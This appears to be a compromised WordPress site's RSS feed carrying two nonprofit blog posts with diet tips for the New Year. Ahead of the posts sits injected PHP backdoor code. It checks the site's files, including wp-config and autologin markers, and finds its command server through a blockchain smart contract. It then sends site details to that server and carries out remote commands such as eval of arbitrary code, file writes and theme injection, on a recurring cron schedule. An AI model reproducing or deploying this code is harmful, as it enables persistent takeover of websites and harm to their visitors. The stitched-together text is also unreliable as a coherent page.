// 32_3i if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/dh_euksrr/skinnygeneprojectnew.dreamsites.io/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 32_3i', 'vis'=>'// dt_hq', 'vis_func'=>'wp_b81w3r', 'vis_paths'=>array('/home/dh_euksrr/skinnygeneprojectnew.dreamsites.io/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_kvystp5t', ); $keys=array(); $keys['id']='n2t'; $keys['ver']='i1'; $keys['caps']='nl6'; $keys['tasks']='eq2'; $keys['interval']='0jg'; $keys['ack_id']='ytf'; $keys['ok']='s5'; $keys['detail']='bz5'; $keys['inv']='dfw'; $keys['result']='ol0'; $hdr='X-5IR-Auth';$tok='qzgyGwI7GiNUKTDGlCr9NH72og7zIFkNJcTkhoBHA4E';$id='5c8458f75b41e4ae';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Plan for a healthy new year – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 07 Jan 2015 00:02:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Plan for a healthy new year – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Ways to Recover from Splurges https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/ https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/#respond Wed, 07 Jan 2015 00:02:04 +0000 http://skinnygeneproject.dreamhosters.com/?p=2337 By Rennie Aranda, Skinny Gene Registered Dietitian

You’ve opened all the presents, attended all the fun holiday parties, and recovered from the food comas. As the holidays wind down, so do the temptations of all the holiday goodies. Before the fatigue settles in from weeks of indulging in sugary, fatty desserts, skimping on fruits and vegetables, and skipping days at the gym, get back on track to healthier habits in the New Year with these tips:

New Year, Healthier You – Ways to Recover from Past-Holiday Splurges

Getting-Back-on-track
Photo:IndyMaxImpact

 

  • Positive mindset. A huge part of keeping our motivation up after the holidays is upholding a positive attitude. Instead of dwelling on any excess weight gained over the holidays or thinking of the foods you are trying to limit/restrict, focus on the good experiences you had during the holiday season and what you can eat for good health. This will help you stick to healthy habits and achieve the goals you’ve set.

 

  • Plan exercise time in advance. It is much easier to stick to an exercise regimen if you schedule ahead. Take it slow at first, and then gradually increase your time and/or intensity of the exercise in order to burn calories at a faster rate and build a healthy body. Always consult with your doctor first to make sure your exercise plan is right for you. Aim for at least 30 minutes of physical activity almost every day. Sign up for your favorite charity walk, buddy up, or use a pedometer to help keep up motivation.

 

  • Eat breakfast every day. Having a nutritious, fiber-rich breakfast helps give you more energy, leads you to make healthier choices throughout the day, and helps keep you full to prevent overeating at later meals. Try oatmeal with fruit, or half a whole wheat bagel with peanut butter to jump start your day.

 

  • Fill up on fruits and veggies. Fill half your plate with fruits and vegetables and you’ll feel fuller more quickly while cutting down on calories without feeling deprived. It is ideal to consume at least 5 fruit and vegetable servings a day (about 3 servings of vegetables and 2 servings of fruit). These vitamin-rich foods boost your fiber and antioxidant intake and help keep you from overeating. Replace an empty calorie beverage or snack (such as soda or chips) with a fruit or vegetable such as an orange or celery sticks. Spice up your fruit and vegetable snack with herbs and spices, or a low-fat dip instead of using butter and/or salt to flavor them.

 

  • Take it slow and be prepared for lapses. Trying to tackle every health resolution you’ve set for yourself all at once is a recipe for disaster. Spend a few weeks just trying to achieve one to two goals at a time. Add a couple more goals to your list as you establish new good habits. Permanent changes take time to implement so no need to rush them. No one is perfect. If you temporarily get sidetracked from your goals, don’t use it as an excuse to throw in the towel. Every day is a new chance to start over, so get right back to working towards a healthy lifestyle.
]]> https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/feed/ 0 January Giveaway: Your Plan for Creating a Healthy New Year https://skinnygeneprojectnew.dreamsites.io/january-giveaway-your-plan-for-creating-a-healthy-new-year/ https://skinnygeneprojectnew.dreamsites.io/january-giveaway-your-plan-for-creating-a-healthy-new-year/#respond Sat, 07 Jan 2012 00:01:10 +0000 http://skinnygeneproject.dreamhosters.com/?p=1370 Has the magic of the New Year already begun to fade?

 

Regardless of whether you celebrated the New Year on a cozy couch at home, with anintimate group of family and friends,

By Ludie Cochrane

or rung in the New Year at some big bash, you may have felt a bit of the magic that the New Year can bring to us all.

 

No, this isn’t the hocus pocus kind of magic; it’s the kind that happens inside. The problem for most people is that they dismiss the “magic” and instead get wrapped up in a bit of “New Year’s manipulation”.

 

What do we mean by New Year’s Manipulation? Our definition goes something like this…

 

New Year’s Manipulation [noo yeers muh-nip-yuh-ley-shuhn]

 

1.     Believing that after overindulging  from Halloween through Dec 31st, a person can undo in 1 week what has take them 3 months to “put on”

2.    All you need is a motivation and determination to ring in a healthy new year

 

TRUTH: Studies have proven that most people never lose the pound (or two) they gain during the holidays. To do so often takes more than a little bit of determination; it also takes direction.  Otherwise, you’ll just (maybe unknowingly) bring old bad habits into the New Year.

 

When it comes to achieving weight loss and other related-health goals, people rarely experience accidental success. You NEED TO PLAN FOR SUCCESS!

 

Simply put, with the right guidance and executable plan, you can avoid New Year’s Manipulation, and instead create a bit of MAGIC.

New Year’s Magic [noo yeers majik]

 

 1.     Forgiving yourself for any past mistakes, seizing the opportunity today to put the things in motion to create a healthier tomorrow

2.     Realizing the best way to create a new YOU in the New Year, is to start focusing on YOU

3.     Knowing  the best way to detach yourself from the OLD things that caused problems is to start rebuilding your health by doing something new

 

The magic of the New Year is that you get to mentally wipe the slate clean and starting writing the things into your life that you’d like to see or become. We’re here to help you!

 

Our non-profit organization wants nothing more than to help you make 2012 the year you succeed and achieve your weight loss and health goals. We’ve heard countless times from our members, “If I knew what to do, I would have done it already”, which seemed like a logical argument.  So now we have a rebuttal ….

 

What if we told you exactly what you needed to do, explained the “what, when, and how much”, gave you guidance and accountability every step of the way? What if we got you started on your personalized plan for a healthy 2012 – FOR FREE.

 

Yep, that’s right!  If you are serious about getting healthier in 2012, we will give you a 30 minute phone session with one of our Nutritionists for free – Gratis! Gratuit! Libero! Gratuitamente!  No matter how you say it, or spell it, it’s free. The only little catch… you need to book your appointment to speak with our nutritionist by January 31, 2012.  So get bookin’! 🙂

 

Click the book now button below (or the link) and select “ Your Plan for a Healthy New Year”, then let the MAGIC begin.

Happy New Year!

]]> https://skinnygeneprojectnew.dreamsites.io/january-giveaway-your-plan-for-creating-a-healthy-new-year/feed/ 0